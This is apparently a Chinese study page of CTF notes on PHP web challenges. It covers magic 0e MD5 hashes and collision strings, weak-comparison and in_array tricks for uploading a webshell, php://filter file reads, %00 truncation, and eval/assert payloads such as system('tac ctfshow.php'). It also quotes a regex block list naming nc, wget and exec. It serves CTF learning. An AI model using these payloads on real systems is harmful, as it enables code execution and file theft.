hello22407846698:0e688065097905052131160818049682 hello22462419833:0e150021313229535479448960192497 hello22524840741:0e427165560473709541262115879322 hello22684541754:0e212089178649039431933729688866 hello23311692247:0e875225739151635763781768168050 hello23482483937:0e151847567205329626226186994212 hello23919947361:0e554834940334311467473897130531 hello24034989169:0e220987314997743625442964283314 hello24343860700:0e070680132080871095604490841909 hello25957571388:0e505306610086634417027764698286 hello26790263335:0e781189643377847208451601226827 hello26903464651:0e914022345307317030885198241992 kFuiNituEBtYTL7s:00e98964689272988335938577613800 kZCLJqaExeldVpj0:0e656721453248642852483628066363 leEyBd5B7q3amjyG:0e394953505745405474013722050568 pumLyoapZAA9UDNG:00e97704981801156036802648235478 x3nHz0Tb1fId6UkI:0e389404952944040555093072566533 xqtlmRSdIANTlm1H:0e744254988746519482021441207857 zLnCfDklbnUmxqPX:0e584534642350465243534981705206 HFS_8z1+MWlaHRAH:00e75643634650030148510424537209 HFS_1+iq1ID4UnnU:0e735266984036051110930327520427 HFS_4HfzrCkFGXpw:0e646281365937497392704373659016 HFS_b+l93ZTnenaK:0e361812035730460151531645473846 HFS_StAqHq+DGI8d:0e111862011654913151517331666493 HFS_AxFzm23nYzeD:0e613355377549634251553032324836 HFS_0cIiLSiSswkh:00e66018400048726119673849053795 HFS_E0m8zzZKFT2R:00e13091337053035690315301170677 HFS_iWViAQ5MOc5g:00e26430923330343164204018649849 HFS_S73mdmL3numx:0e588371083636394650517986368324 HFS_9/rKCeq8tcY9:0e632684922796334502827808200584 .V;m=*]b?-:00e45653718969294213009554265803 egNJHP66&3E1:00e99757454497342716194968339146 KnCM6ogsNA1W:00e73414578113850089230341919829 &rh1ls6cl&G4:00e48890746054592674909531744787 0e215962017:0e291242476940776845150308577824 ```
|
=== 是强类型比较,即比较大小,还比较类型,一般是要碰撞出来的,也可数组绕过
直接 chat 写脚本去匹配即可,一般是要你去传一个去等于它给的加密后的字符串,或是上一些网站到它的库里找
碰撞结果示例(这两个 md5 后相等)
1 2
| md5_1=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab md5_2=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab
|
# file_put_contents()
1
| int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
|
file_put_contents () 函数把一个字符串写入文件中。
该函数访问文件时,遵循以下规则:
如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 filename 副本的内置路径 如果文件不存在,将创建一个文件
打开文件 如果设置了 LOCK_EX,那么将锁定文件 如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容
向文件中写入数据 关闭文件并对所有文件解锁 如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。
# in_array()
in_array () 函数搜索数组中是否存在指定的值。
1
| in_array(search,array,type)
|
type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
in_array 延用了 php 中的 ==
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $allow = array(); for ($i=36; $i < 0x36d; $i++)(十六进制 0x36d 等于十进制 877) { array_push($allow, rand(1,$i)); } i f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
|
file_put_contents 函数:将参数 2 的内容写入到参数 1 中,这里就存在着任意文件上传的漏洞。
由于每次 rand 都是从 1 开始的,因此 array 数组中存在 1 的概率是非常大的,之后 in_array (GET[′n′],array),当传入的参数 n 的值为 1.php 时,假设 array 中压入了 1。由于省略了第三个参数,存在弱类型比较,所以说 1.php 在比较的时候会强制转换为 1,刚好 array 中存在着 1. 满足 if 条件,执行 file_put_contents。
故 payload:?n=1.php POST 传参为 content= (多次尝试,让 1 压入栈中)
便将一句话木马上传到 1.php 中,直接 RCE。
# 优先级
# 符号
1 2 3 4 5 6 7 8 9 10 11 12
| $bA = true; $bB = false; $b1 = $bA and $bB; $b2 = $bA && $bB; var_dump($b1); // $b1 = true var_dump($b2); // $b2 = false $bA = false; $bB = true; $b3 = $bA or $bB; $b4 = $bA || $bB; var_dump($b3); // $b3 = false var_dump($b4); // $b4 = true
|
&& 与 || 的优先级高于 =
= 的优先级高于 and 与 or
只要令 v1 = 数字,v0 就为 true
这个题有三种 payload:
方法一:
v0=isnumeric(v1) and is_numeric(v2)andisnumeric(v3); 只要使 v1 的值为 1,就可以使得 v0 的值为 true,从而进入 if,之后需要满足的是 v2 不能有分号,v3 必须有分号
payload:?v1=1&v2=system(‘tac ctfshow.php’)&v3=;
方法二:
使用反射类直接输出 class ctfshow 的信息
payload:?v1=1&v2=echo new ReflectionClass&v3=;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php class A{ public static $flag="flag{123123123}"; const PI=3.14; static function hello(){ echo "hello</br>"; } } $a=new ReflectionClass('A'); var_dump($a->getConstants()); 获取一组常量 输出 array(1) { ["PI"]=> float(3.14) } var_dump($a->getName()); 获取类名 输出 string(1) "A" var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) { ["flag"]=> string(15) "flag{123123123}" } var_dump($a->getMethods()); 获取类中的方法 输出 array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }
|
方法三:
因为这个 flag 在 ctfshow 这个类中,所以我们可以构造出 var_dump ($ctfshow);
payload:?v1=1&v2=var_dump($ctfshow)&v3=;
# PHP 伪协议
# 写文件
配合 file_put_contents (v 3 , v3,v3,str); 函数 // 在需要 base64 转换的时候
1
| v3=php://filter/write=convert.base64-decode/resource=1.php&str=......
|
# 读文件
1 2 3 4 5 6 7 8 9 10 11 12
| function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }
|
通常我们使用:
1 2
| php://filter/read=convert.base64-encode/resource=flag.php
|
当 ban 掉 base64 的时候,我们还可以用其他编码方式(或者不编码):
1 2 3 4 5
| php://filter/resource=flag.php php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php php://filter/read=convert.quoted-printable-encode/resource=flag.php //可打印字符引用编码 compress.zlib://flag.php //压缩流
|
伪协议支持多种编码方式,无效的 ctfshow 就被忽略掉了:
1 2 3
| f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php filter
|
# is_file () 函数
判断是否为文件
# php 伪协议绕过
highlight_file () 可以识别 php 伪协议 is_file () 不能识别 php 伪协议
# /proc/self/root
在 linux 中 /proc/self/root 是指向根目录的 也就是如果在命令行中输入 ls /proc/self/root
其实显示的内容是根目录下的内容 多次重复后绕过 is_file
1 2
| file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
|
# sha1
# 数组绕过
1 2 3 4
| if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; }
|
payload:
# 强类型比较
1 2
| v1=aaK1STf //0e7665852665575620768827115962402601 v2=aaO8zKZF //0e89257456677279068558073954252716165
|
# parse_str()
parse_str () 函数把查询字符串解析到变量中。
1 2 3 4 5 6 7 8 9
| <?php parse_str("name=Bill&age=60"); echo $name."<br>"; echo $age; ?> 结果 Bill 60
|
注意:
若要 post 参数,需加引号,如:v1=‘flag=0’
# ereg () 截断漏洞
1 2 3 4 5 6 7
| if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
|
payload:c=a%00778
反转后:c=877=0x36d
# strrev()
反转字符串,常出现在 %00 截断漏洞中
注:%00 是一个整体,不会反转成 00%
# Exception 异常处理类
和 ReflectionClass 反射类用法相似,该类中常用的成员函数如下所示:
1 2 3 4 5 6 7 8
| getMessage():返回异常的消息内容; getCode():以数字形式返回异常代码; getFile():返回发生异常的文件名; getLine():返回发生错误的代码行号; getTrace():返回 backtrace() 数组; getTraceAsString():返回已格式化成字符串的、由函数 getTrace() 函数所产生的信息; __toString():产生异常的字符串信息,它可以重载。注意,该函数最前部是两个下划线。
|
可以和 system 连用:
1
| Reflectionclass(system('cat `ls`'));
|
# FilesystemIterator 类读取文件
FilesystemIterator 获取指定目录下的所有文件
getcwd () 函数:获取当前工作目录 返回当前工作目录
1
| FilesystemIterator(getcwd());
|
# php 变量
# $GLOBALS
$GLOBALS 是 PHP 的一个超级全局数组,用于存储所有全局变量。它允许在任何函数、方法或类中访问全局范围内定义的变量。与其他超级全局变量(如 $_GET , $_POST , $_SESSION 等)不同, $GLOBALS 不是基于请求的数组,而是包含了所有全局范围内的变量。
1 2 3 4 5
| function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;");//$v1和$v2指向同一地址,此时$v1=$v2 var_dump($$v1); }
|
payload:v1=ctfshow&v2=GLOBALS // 构成 $GLOBALS
# 使用 $GLOBALS
$GLOBALS 是一个关联数组,其中键是变量名,值是变量的内容。通过 $GLOBALS 可以访问、修改任何在全局范围内定义的变量。
# 示例:访问全局变量
1 2 3 4 5 6 7 8
| php复制代码$x = 10;
function test() { // 通过 $GLOBALS 访问全局变量 echo $GLOBALS['x']; // 输出 10 }
test();
|
在这个例子中,变量 $x 是在全局作用域定义的,函数 test() 中没有直接定义 $x ,但是通过 $GLOBALS['x'] 可以访问到全局变量。
# 示例:修改全局变量
1 2 3 4 5 6 7 8 9
| php复制代码$x = 10;
function test() { // 通过 $GLOBALS 修改全局变量 $GLOBALS['x'] = 20; }
test(); echo $x; // 输出 20
|
这里通过 test() 函数修改了全局变量 $x 的值, $GLOBALS['x'] = 20; 在函数内修改了全局变量 $x 的值,最终在函数外部输出的是修改后的值 20 。
# 使用 $GLOBALS 的注意事项
- 变量作用域:在 PHP 中,局部变量通常无法在函数外访问,除非它们通过参数传递或通过
$GLOBALS 访问。
- 代码可读性和维护性:过度使用
$GLOBALS 可能会导致代码难以理解和维护,通常推荐尽量通过函数参数或返回值来传递数据。
- 安全性问题:如果程序使用
$GLOBALS 修改不受信任的数据,可能导致意外的副作用,甚至是安全漏洞。
# 示例:使用 $GLOBALS 传递数据
1 2 3 4 5 6 7 8 9 10
| php复制代码$a = 5; $b = 10;
function sum() { // 使用 $GLOBALS 访问全局变量并计算总和 $GLOBALS['result'] = $GLOBALS['a'] + $GLOBALS['b']; }
sum(); echo $result; // 输出 15
|
在这个例子中, sum() 函数通过 $GLOBALS 访问了全局变量 $a 和 $b ,并计算了它们的和,结果存储在全局变量 $result 中。
# 总结
$GLOBALS 是一个 PHP 超级全局数组,用于在函数和方法中访问和修改全局作用域中的变量。
- 使用
$GLOBALS 时需要小心,因为它直接影响全局变量,可能会导致不易察觉的错误或副作用。
- 最好将数据通过函数参数或返回值传递,而不是过度依赖
$GLOBALS 。
# get_defined_vars()
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
用法:
1
| var_dump(get_defined_vars())
|
# 变量命名
PHP 变量命名规则:
只能包含:字母、数字、下划线
其中,只能以字母、下划线开头
1
| if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
|
php 变量命名不允许出现 .(点号), 需要绕过’CTF_SHOW.COM’
GET 或 POST 方式传进去的变量名,会自动将 空格 + . [ 转换为 *_*
特殊字符 [, GET 或 POST 方式传参时,变量名中的 [也会被替换为_, 但其后的字符就不会被替换了 因此:
1
| CTF[SHOW.COM => CTF_SHOW.COM
|
# Fuzz 测试
1 2 3 4 5 6 7 8 9
| $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }
|
# is_numeric () 绕过
is_numeric () 要求识别为数字,但不能是 “36“
1 2 3 4 5 6 7 8
| for ($i=0; $i <128 ; $i++) { $x=chr($i).'1'; if(is_numeric($x)==true){ echo urlencode(chr($i))."\n"; } } 输出:%09 、%0A、 %0B、 %0C、 %0D、 +、 %2B、 -、 .(点)、
|
# trim () 绕过
参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
1 2 3 4 5 6 7
| "\0" - NULL "\t" - 制表符 "\n" - 换行 "\x0B" - 垂直制表符 "\r" - 回车 " " - 空格
|
编写 fuzz 脚本
1 2 3 4 5 6 7 8
| for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; } } 输出:%0C、%2B(+号)、-、.(点)、0、1、2、3、4、5、6、7、8、9
|
# $_SERVER[‘QUERY_STRING’]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| 1,http://localhost/aaa/ (打开aaa中的index.php) 结果: $_SERVER['QUERY_STRING'] = ""; $_SERVER['REQUEST_URI'] = "/aaa/"; $_SERVER['SCRIPT_NAME'] = "/aaa/index.php"; $_SERVER['PHP_SELF'] = "/aaa/index.php";
2,http://localhost/aaa/?p=222 (附带查询) 结果: $_SERVER['QUERY_STRING'] = "p=222"; $_SERVER['REQUEST_URI'] = "/aaa/?p=222"; $_SERVER['SCRIPT_NAME'] = "/aaa/index.php"; $_SERVER['PHP_SELF'] = "/aaa/index.php";
3,http://localhost/aaa/index.php?p=222&q=333 结果: $_SERVER['QUERY_STRING'] = "p=222&q=333"; $_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333"; $_SERVER['SCRIPT_NAME'] = "/aaa/index.php"; $_SERVER['PHP_SELF'] = "/aaa/index.php";
由实例可知: $_SERVER["QUERY_STRING"] 获取查询 语句,实例中可知,获取的是?后面的值 $_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/ $_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php $_SERVER["PHP_SELF"] 当前正在执行脚本的文件名
|
网页模式下:
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
1 2 3 4 5 6 7 8
| $a=$_SERVER['argv']; $c=$_POST['fun']; if(!isset($_GET['fl0g'])){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; }
|
payload:
1 2 3 4 5 6
| get: ?$fl0g=flag_give_me //1+flag_give_me post: fun=assert($a[0]) //eval($a[0]) //parse_str($a[1]) 或 get: 1=flag.php post: fun=highlight_file($_GET[1])
|
# Payload 分析
# Payload 1
-
GET 请求
:
- 这个请求直接设置
$fl0g 为 flag_give_me 。
- 当 GET 请求中包含
$fl0g=flag_give_me 时, if ($fl0g === "flag_give_me") 条件为 true ,因此会输出 $flag 的内容。
-
POST 请求
:
、
、
-
这几个 POST 请求设置了不同的
参数,以控制
执行不同的代码。
fun=assert($a[0]) :通过 assert() 函数来执行 $a[0] ,即命令行中的第一个参数。可以注入特定代码以执行。
fun=eval($a[0]) :直接执行 $a[0] ,也是用命令行输入控制。
fun=parse_str($a[1]) :将 $a[1] 的内容解析为变量。假设 $a[1] 中包含类似 fl0g=flag_give_me 的内容,通过这种方式设置 $fl0g 。
# Payload 2
-
GET 请求
:
-
POST 请求
:
1
| fun=highlight_file($_GET[1])
|
highlight_file() 函数会输出指定文件的源代码。
- 通过
$_GET[1] 参数指定文件,例如 flag.php ,则会将 flag.php 文件的源码输出。
# Payload 示例及实现意图
这些 Payload 的意图是通过操控 fun 和 fl0g 来执行任意代码,并最终访问 $flag 的内容或显示指定文件的内容。利用这种组合可以突破正常的代码执行限制,达到获取敏感信息的目的。
-
执行任意代码
:
- 通过在
fun 中注入可执行代码,例如 assert() 或 eval() ,可以远程执行任意 PHP 代码。
-
文件读取
:
- 使用
highlight_file() 显示文件的源代码,访问潜在的敏感信息
# assert () 断言
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| assert() 断言:
PHP 5 bool assert ( mixed $assertion [, string $description ] )
PHP 7 bool assert ( mixed $assertion [, Throwable $exception ] )
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行 可见,eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加 PHP 5 中的 assert() bool assert(mixed $assertion [, string $description]) $assertion:这是要测试的表达式。它可以是布尔值、数值表达式、或者一个字符串。 $description:一个可选的描述信息。当 assert() 判断表达式为 false 时,它会输出这个描述。 在 PHP 5 中,如果 $assertion 为 false,则 assert() 输出警告信息并继续执行代码。
PHP 7 中的 assert() bool assert(mixed $assertion [, Throwable $exception]) $assertion:同样是要测试的表达式。 $exception:在 PHP 7 中,assert() 支持直接抛出异常。当 $assertion 为 false 时,如果提供了 $exception 参数,将抛出指定的 Throwable 异常。 在 PHP 7 中,assert() 被改进为可以在失败时抛出异常,而不仅仅是输出警告。这让 assert() 在错误处理和调试中变得更为灵活。
|
# gettext 拓展
在开启该拓展后 _() 等效于 gettext ()
1 2 3 4 5
| echo gettext("phpinfo"); 结果 phpinfo echo _("phpinfo"); 结果 phpinfo
|
# shell_exec()
1 2 3 4 5
| if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }
|
套娃命令执行:
1 2 3 4 5 6 7
| get传参 F=`$F `;sleep 3 经过substr($F,0,6)截取后 得到 `$F `; 也就是会执行 eval("`$F `;"); 我们把原来的$F带进去 eval("``$F `;sleep 3`"); //``是shell_exec()函数的缩写 前面的命令我们不需要管,但是后面的命令我们可以自由控制。
|
parse_str ():把查询字符串解析到变量中。
extract ():从数组中将变量导入到当前的符号表
注意区别: extract 是将数组中元素分解,执行后数组的 key 值作为变量名,数组的 value 赋值给对应 Key 的变量,这样可以直接通过 Key 变量去访问,不用数组加 key 去访问。 即:从数组中创建变量
parse_str 是根据 "=" 来分解字符串,主要用于对 url 参数的解析。
1 2 3 4 5 6
| @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
|
payload:
1 2 3 4 5
| get:_POST[key1]=36d&_POST[key2]=36d
经过parse_str($_SERVER['QUERY_STRING']) ==> $_POST[key1]=36d 数组形式 经过extract($_POST) ==> $key=36d
|
# nl、cp、mv、tee 写文件
在禁命令的时候没有限制写文件:
1 2 3 4
| nl flag.php>1.txt cp flag.php>1.txt mv flag.php>1.txt
|
tee 指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件